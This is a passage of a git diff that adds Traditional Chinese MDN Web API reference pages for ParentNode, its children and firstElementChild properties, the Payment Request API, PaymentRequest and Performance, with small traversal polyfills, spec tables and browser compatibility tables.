+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        children.push(node);
+                    }
+                }
+                return children;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>38.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>29.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("SVGElement")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 6, 7 and 8 supported it, but erroneously includes {{domxref("Comment")}} nodes.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} interfaces.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/parentnode/firstelementchild/index.html b/files/zh-tw/web/api/parentnode/firstelementchild/index.html
new file mode 100644
index 0000000000..4fa9722123
--- /dev/null
+++ b/files/zh-tw/web/api/parentnode/firstelementchild/index.html
@@ -0,0 +1,95 @@
+---
+title: ParentNode.firstElementChild
+slug: Web/API/ParentNode/firstElementChild
+translation_of: Web/API/ParentNode/firstElementChild
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><strong><code>ParentNode.firstElementChild</code></strong> 介面會會返回 <code>ParentNode</code>的第一個子元素(唯讀) ，如果該節點沒有子節點則返回<code>null</code>。</p>
+
+<div class="note">
+<p>This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, <code>firstElementChild</code> moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">語法</h2>
+
+<pre class="syntaxbox">var <em>element</em> = node.firstElementChild;
+</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: html">&lt;ul id="foo"&gt;
+  &lt;li&gt;First  (1)&lt;/li&gt;
+  &lt;li&gt;Second (2)&lt;/li&gt;
+  &lt;li&gt;Third  (3)&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;script&gt;
+var foo = document.getElementById('foo');
+// yields: First  (1)
+console.log(foo.firstElementChild.textContent);
+&lt;/script&gt;
+</pre>
+
+<h2 id="適用於IE8_IE9_和_Safari的Polyfill">適用於IE8, IE9 和 Safari的Polyfill</h2>
+
+<pre class="brush: js">// Overwrites native 'firstElementChild' prototype.
+// Adds Document &amp; DocumentFragment support for IE9 &amp; Safari.
+;(function(constructor) {
+    if (constructor &amp;&amp;
+        constructor.prototype &amp;&amp;
+        constructor.prototype.firstElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'firstElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = 0;
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Split the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. This method is now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added its initial definition to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.ParentNode.firstElementChild")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}}</li>
+ <li>{{domxref("ParentNode.lastElementChild")}}</li>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interfaces.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/parentnode/index.html b/files/zh-tw/web/api/parentnode/index.html
new file mode 100644
index 0000000000..f3a37abb2f
--- /dev/null
+++ b/files/zh-tw/web/api/parentnode/index.html
@@ -0,0 +1,166 @@
+---
+title: ParentNode
+slug: Web/API/ParentNode
+translation_of: Web/API/ParentNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>ParentNode</strong></code> 介面定義了可以擁有子節點之 {{domxref("Node")}} 物件的方法。</p>
+
+<p><code>ParentNode</code> 是一個原始的介面，且不能以此建立物件實體。{{domxref("Element")}}、{{domxref("Document")}} 及 {{domxref("DocumentFragment")}} 物件皆實作了 <code>ParentNode</code>。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.children")}} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>該屬性會返回一個 {{domxref("HTMLCollection")}} 實例，包括 <code>ParentNode</code>的所有子元素節點，需要特別注意的是：該屬性為<code>唯讀</code>。</dd>
+ <dt>{{domxref("ParentNode.firstElementChild")}} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>該屬性會返回 <code>ParentNode</code>的第一個子元素 ，如果該節點沒有子節點則返回<code>null</code>。</dd>
+ <dt>{{domxref("ParentNode.lastElementChild")}} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>該屬性會返回 <code>ParentNode</code>的最後一個子元素 ，如果該節點沒有子節點則返回<code>null</code>。</dd>
+ <dt>{{domxref("ParentNode.childElementCount")}} {{experimental_inline}} {{readonlyInline}}</dt>
+ <dd>該屬性會返回一個<code>無符號長整數</code> ，該值表示了該節點的子節點數量。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("ParentNode.append()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects after the last child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ParentNode.prepend()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} objects or {{domxref("DOMString")}} objects before the first child of the <code>ParentNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ParentNode.querySelector()")}}</dt>
+ <dd>Returns the first {{domxref("Element")}} with the current element as root that matches the specified group of selectors.</dd>
+ <dt>{{domxref("ParentNode.querySelectorAll()")}}</dt>
+ <dd>Returns a {{domxref("NodeList")}} representing a list of elements with the current element as root that matches the specified group of selectors.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added the <code>append()</code> and <code>prepend()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#parentnode', 'ParentNode')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ChildNode")}} and <code>ParentNode</code>. The <code>firstElementChild</code>, <code>lastElementChild</code>, and <code>childElementCount</code> properties are now defined on the latter.<br>
+    The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.<br>
+    Added the <code>children</code> property and the <code>querySelector()</code> and <code>querySelectorAll()</code> methods.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and used it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{CompatChrome(1.0)}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0 [1]</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatChrome(29.0)}}</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>append()</code> and <code>prepend()</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoDesktop(49)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatOpera(39)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>16.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>append()</code> and <code>prepend()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatGeckoMobile(49)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(39)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(54.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 6, 7 and 8 supported it, but erroneously returns {{domxref("Comment")}} nodes as part of the results.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("Document")}}, {{domxref("Element")}}, and {{domxref("DocumentFragment")}}.</div>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/payment_request_api/index.html b/files/zh-tw/web/api/payment_request_api/index.html
new file mode 100644
index 0000000000..d9953e4cfd
--- /dev/null
+++ b/files/zh-tw/web/api/payment_request_api/index.html
@@ -0,0 +1,117 @@
+---
+title: Payment Request API
+slug: Web/API/Payment_Request_API
+translation_of: Web/API/Payment_Request_API
+---
+<div>{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}</div>
+
+<p><span class="seoSummary">Payment Request API 提供商家與用戶雙方一致的用戶體驗。它並不是嶄新的支付方式、而是讓用戶選擇偏好的支付方式、並把該方式提供給商家。</span></p>
+
+<h2 id="Payment_Request_的概念和用法">Payment Request 的概念和用法</h2>
+
+<p>很多放棄線上購物的問題，與結帳表單的填寫有關：填寫這些東西既困難又耗時、步驟還極度繁雜。<strong>Payment Request API</strong>正是為減少、甚至擺脫要完成表單所需的填寫步驟而生。它藉由不假手 HTML 表單的情況下，記下要傳給商家的用戶資訊，來簡化結帳步驟。</p>
+
+<p>針對信用卡付款，使用 Payment Request API 的好處有：</p>
+
+<ul>
+ <li><strong>快速的訂購體驗</strong>：用戶在進入瀏覽器時輸入資訊、接著就備齊網路購物所需。用戶再也無須於多個網站，填寫相同資訊。</li>
+ <li><strong>各站一致且支援 API 的用戶體驗</strong>：由於是瀏覽器在掌管付款資訊，用戶體驗將能客製化、還可以把 UI 本土化為用戶偏好的語言。</li>
+ <li><strong>無障礙</strong>：由於是瀏覽器在掌管輸入表單，各網站針對鍵盤和螢幕閱讀器的無障礙將確保一致，而無須開發者動工。瀏覽器還能調整輸入表單的字體大小、色彩對比，讓用戶能更輕鬆地完成付款。</li>
+ <li><strong>憑證管理</strong>：用戶能在瀏覽器，管理信用卡與送達地址的資訊。瀏覽器還能跨設備同步這些「憑證」，以便用戶在電腦與手機周旋間，依舊能輕易付款。</li>
+ <li><strong>一致的錯誤處理</strong>：瀏覽器會檢查信用卡號碼、並告訴用戶該卡片（將）過期與否；瀏覽器也可以藉由商家的使用模式或限制（例如「只接受 Visa 卡或萬事達卡（Mastercard）」）自動提示用戶、或允許其選擇偏好的信用卡。</li>
+</ul>
+
+<p>要請求支付的話，建立 {{domxref("PaymentRequest")}} 物件的網頁，將回應用戶發動付款的行為，像是點選「購物」按鈕。<code>PaymentRequest</code> 將允許網頁在用戶提供完成交易所需資訊時交換之。</p>
+
+<p>你可以在 <a href="/zh-TW/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">使用 Payment Request API</a> 文章看到完整教學。</p>
+
+<div class="note">
+<p><strong>注意</strong>：此 API 只有在設定 {{htmlattrxref("allowpaymentrequest","iframe")}} 屬性下，才可支援跨域 {{htmlelement("iframe")}} 元素。</p>
+</div>
+
+<h2 id="介面">介面</h2>
+
+<dl>
+ <dt>{{domxref('PaymentAddress')}}</dt>
+ <dd>地址資訊物件，具體用途有付款與送達。</dd>
+ <dt>{{domxref('PaymentRequest')}}</dt>
+ <dd>提供 API 以便建立與管理{{Glossary("用戶代理")}}的付款介面物件。</dd>
+ <dt>{{domxref('PaymentRequestEvent')}}</dt>
+ <dd>建立 {{domxref("PaymentRequest")}} 時發送給付款處理器（payment handler）的事件。</dd>
+ <dt>{{domxref('PaymentRequestUpdateEvent')}}</dt>
+ <dd>允許網頁針對用戶行為，發動更新用戶付款資訊的請求。</dd>
+ <dt>{{domxref('PaymentMethodChangeEvent')}}</dt>
+ <dd>表示用戶更改付款工具（例如從信用卡轉為簽帳金融卡）。</dd>
+ <dt>{{domxref('PaymentResponse')}}</dt>
+ <dd>在用戶選取付款方法、並同意付款請求後，所回傳的物件。</dd>
+ <dt>{{domxref('MerchantValidationEvent')}}</dt>
+ <dd>表示商家（網站）要求使用特定支付方法的瀏覽器驗證處理器（例如：要不要放行 Apple Pay）</dd>
+</dl>
+
+<h2 id="字詞（dictionary）">字詞（dictionary）</h2>
+
+<dl>
+ <dt>{{domxref("AddressErrors")}}</dt>
+ <dd>此字詞包含任何與 {{domxref("PaymentAddress")}} entry 錯誤相關的描述性解釋字串。</dd>
+ <dt>{{domxref("PayerErrors")}}</dt>
+ <dd>此字詞包含任何與 {{domxref("PaymentResponse")}} 的 email、電話、名字屬性（name attribute）錯誤相關之描述性解釋字串。</dd>
+ <dt>{{domxref("PaymentDetailsUpdate")}}</dt>
+ <dd>此物件描述伺服器在用戶開始互動前、實例化支付界面後，針對行為需要修改的付款資訊。</dd>
+</dl>
+
+
+<h3 id="Related_dictionaries_for_the_Basic_Card_specification">Related dictionaries for the Basic Card specification</h3>
+
+<dl>
+ <dt>{{domxref("BasicCardChangeDetails")}}</dt>
+ <dd>An object providing <em>redacted</em> address information that is provided as the {{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} on the {{event("paymentmethodchange")}} event sent to the {{domxref("PaymentRequest")}} when the user changes payment information.</dd>
+ <dt>{{domxref("BasicCardErrors")}}</dt>
+ <dd>An object providing any error messages associated with the fields in the {{domxref("BasicCardResponse")}} object that are not valid. This is used as the value of the {{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}} property on the {{domxref("PaymentValidationErrors")}} object sent to the {{domxref("PaymentRequest")}} when an error occurs.</dd>
+ <dt>{{domxref('BasicCardRequest')}}</dt>
+ <dd>Defines an object structure for containing payment request details such as card type.</dd>
+ <dt>{{domxref('BasicCardResponse')}}</dt>
+ <dd>Defines an object structure for payment response details such as the number/expiry date of the card used to make the payment, and the billing address.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>初始定義。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Basic Card Payment')}}</td>
+   <td>{{Spec2('Basic Card Payment')}}</td>
+   <td>定義 {{domxref("BasicCardRequest")}} 與 {{domxref("BasicCardResponse")}}，提供處理信用卡付款所需的事務。</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment Method Identifiers')}}</td>
+   <td>{{Spec2('Payment Method Identifiers')}}</td>
+   <td>提供付款方法標識、驗證方法、還有 where applicable, minted and formally registered with the W3C。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<h3 id="PaymentRequest_介面">PaymentRequest 介面</h3>
+
+<p>{{Compat("api.PaymentRequest", 0)}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">使用 Payment Request API</a></li>
+ <li><a href="/zh-TW/docs/Web/API/Payment_Request_API/Concepts">Payment 處理概念</a></li>
+ <li><a href="https://webkit.org/blog/8182/introducing-the-payment-request-api-for-apple-pay/">Introducing the Payment Request API for Apple Pay</a></li>
+ <li><a href="https://developers.google.com/pay/api/web/guides/paymentrequest/tutorial">Google Pay API PaymentRequest Tutorial</a></li>
+ <li><a href="https://github.com/w3c/payment-request-info/wiki/FAQ">W3C Payment Request API FAQ</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/paymentrequest/index.html b/files/zh-tw/web/api/paymentrequest/index.html
new file mode 100644
index 0000000000..033ce47312
--- /dev/null
+++ b/files/zh-tw/web/api/paymentrequest/index.html
@@ -0,0 +1,80 @@
+---
+title: PaymentRequest
+slug: Web/API/PaymentRequest
+translation_of: Web/API/PaymentRequest
+---
+<div>{{securecontext_header}}{{APIRef("Payment Request API")}}</div>
+
+<p><strong><code>PaymentRequest</code></strong> 介面是 <a href="/zh-TW/docs/Web/API/Payment_Request_API">Payment Request API</a> 的主要切入點，它能讓網頁或 app 接受終端用戶的付款。</p>
+
+<h2 id="建構子">建構子</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.PaymentRequest()','PaymentRequest()')}} {{securecontext_inline}}</dt>
+ <dd>建立新的 <code>PaymentRequest</code> 物件。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.id')}} {{readonlyinline}}{{securecontext_inline}}</dt>
+ <dd>個別 <code>PaymentRequest</code> 的唯一標識符（unique identifier），可透過 <code>details.id</code> 設定之。若尚未指定，預設為 UUID。</dd>
+ <dt>{{domxref('PaymentRequest.shippingAddress')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>若透過付款設定（payment options）請求的話，回傳用戶指定的運送地址，以便計算運輸事宜。只有在呼叫的建構子 <code>requestShipping</code> flag 為 true 時，此屬性才能作動。另外，部份瀏覽器會出於隱私上的理由而只節錄部分地址，除非用戶表示交易手續即將完成（例如按下「付款」鈕）。</dd>
+ <dt>{{domxref('PaymentRequest.shippingOption')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>回傳的運送選項的標識符。只有在呼叫的建構子 <code>requestShipping</code> flag 為 true 時，此屬性才能作動。</dd>
+ <dt>{{domxref('PaymentRequest.shippingType')}} {{readonlyinline}} {{securecontext_inline}}</dt>
+ <dd>回傳用於完成交易的運送類型。可以是 <code>shipping</code>, <code>delivery</code>, <code>pickup</code>, 或在建構子未提供的情形下：<code>null</code>。</dd>
+</dl>
+
+<h3 id="事件處理器">事件處理器</h3>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.onshippingaddresschange')}} {{securecontext_inline}}</dt>
+ <dd>用戶修改運送地址時觸發之。</dd>
+ <dt>{{domxref('PaymentRequest.onshippingoptionchange')}} {{securecontext_inline}}</dt>
+ <dd>用戶修改運送選項時觸發之。</dd>
+ <dt>{{domxref('PaymentRequest.onpaymentmethodchange')}} {{securecontext_inline}}</dt>
+ <dd>針對付款方法（如 Apple Pay），用戶修改支付方式時觸發之，比方說從信用卡改為簽帳卡。</dd>
+ <dt>{{domxref('PaymentRequest.onmerchantvalidation')}} {{securecontext_inline}}</dt>
+ <dd>針對付款方法（如 Apple Pay），本事件會呼叫 {{event("merchantvalidation")}} 事件，在用戶代理要求驗證付款商家或供應商是否合法時觸發之。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.canMakePayment()')}} {{securecontext_inline}}</dt>
+ <dd>在呼叫 <code>show()</code> 前告訴 <code>PaymentRequest</code> 物件能不能付款。</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref('PaymentRequest.show()')}} {{securecontext_inline}}</dt>
+ <dd>讓用戶代理開始付款請求的用戶交互。</dd>
+ <dt>{{domxref('PaymentRequest.abort()')}} {{securecontext_inline}}</dt>
+ <dd>讓用戶代理結束付款請求並刪除可能顯示的任何用戶界面。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment','#paymentrequest-interface','PaymentRequest')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>初始定義。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("api.PaymentRequest")}}</p>
+</div>
diff --git a/files/zh-tw/web/api/performance.timing/index.html b/files/zh-tw/web/api/performance.timing/index.html
new file mode 100644
index 0000000000..33d0a54171
--- /dev/null
+++ b/files/zh-tw/web/api/performance.timing/index.html
@@ -0,0 +1,56 @@
+---
+title: Performance.timing
+slug: Web/API/Performance.timing
+tags:
+  - API
+  - Navigation Timing
+  - Performance
+  - Property
+  - Read-only
+  - 唯讀
+  - 屬性
+  - 效能
+translation_of: Web/API/Performance/timing
+---
+<p>{{APIRef("Performance")}}</p>
+
+<h2 id="摘要">摘要</h2>
+
+<p><code><strong>Performance</strong></code><strong><code>.timing</code></strong> 是唯讀的屬性，傳回的 {{domxref("PerformanceTiming")}} 物件當中包含了效能與時間延遲相關的資訊。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>timingInfo</em> = <em>performance</em>.timing;</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance.timing')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>初步定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援狀況">瀏覽器支援狀況</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance.timing")}}</p>
+</div>
+</div>
+
+<h2 id="參照">參照</h2>
+
+<ul>
+ <li>屬於 {{domxref("Performance")}} 界面的一部份</li>
+</ul>
diff --git a/files/zh-tw/web/api/performance/index.html b/files/zh-tw/web/api/performance/index.html
new file mode 100644
index 0000000000..017efb71e1
--- /dev/null
+++ b/files/zh-tw/web/api/performance/index.html
@@ -0,0 +1,140 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+  - API
+  - Interface
+  - Navigation Timing
+  - NeedsTranslation
+  - Performance
+  - Reference
+  - TopicStub
+  - Web Performance
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("High Resolution Time")}}</div>
+
+<p>The <strong><code>Performance</code></strong> interface provides access to performance-related information for the current page. It's part of the High Resolution Time API, but is enhanced by the <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline API</a>, the <a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing API</a>, the <a href="/en-US/docs/Web/API/User_Timing_API">User Timing API</a>, and the <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>.</p>
+
+<p>An object of this type can be obtained by calling the {{domxref("Window.performance")}} read-only attribute.</p>
+
+<div class="note">
+<p><strong><em>Note</em>: </strong>This interface and its members are available in <a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a>, except where indicated below. Also note that performance markers and measures are per context. If you create a mark on the main thread (or other worker), you cannot see it in a worker thread, and vice versa.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>The <code>Performance</code> interface doesn't inherit any properties.</em></p>
+
+<dl>
+ <dt>{{deprecated_inline}} {{domxref("Performance.navigation")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("PerformanceNavigation")}} object that provides useful context about the operations included in the times listed in <code>timing</code>, including whether the page was a load or a refresh, how many redirections occurred, and so forth.</dd>
+ <dt>{{deprecated_inline}}  {{domxref("Performance.timing")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("PerformanceTiming")}} object containing latency-related performance information. Not available in workers.</dd>
+ <dt>{{domxref("Performance.memory", "performance.memory")}} {{Non-standard_inline}}</dt>
+ <dd>A <em>non-standard</em> extension added in Chrome, this property provides an object with basic memory usage information. <em>You <strong>should not use</strong> this non-standard API.</em></dd>
+ <dt>{{domxref("Performance.timeOrigin")}} {{readonlyInline}} {{Non-standard_inline}}</dt>
+ <dd>Returns the high resolution timestamp of the start time of the performance measurement.</dd>
+</dl>
+
+<dl>
+ <dt>
+ <h3 id="Event_handlers">Event handlers</h3>
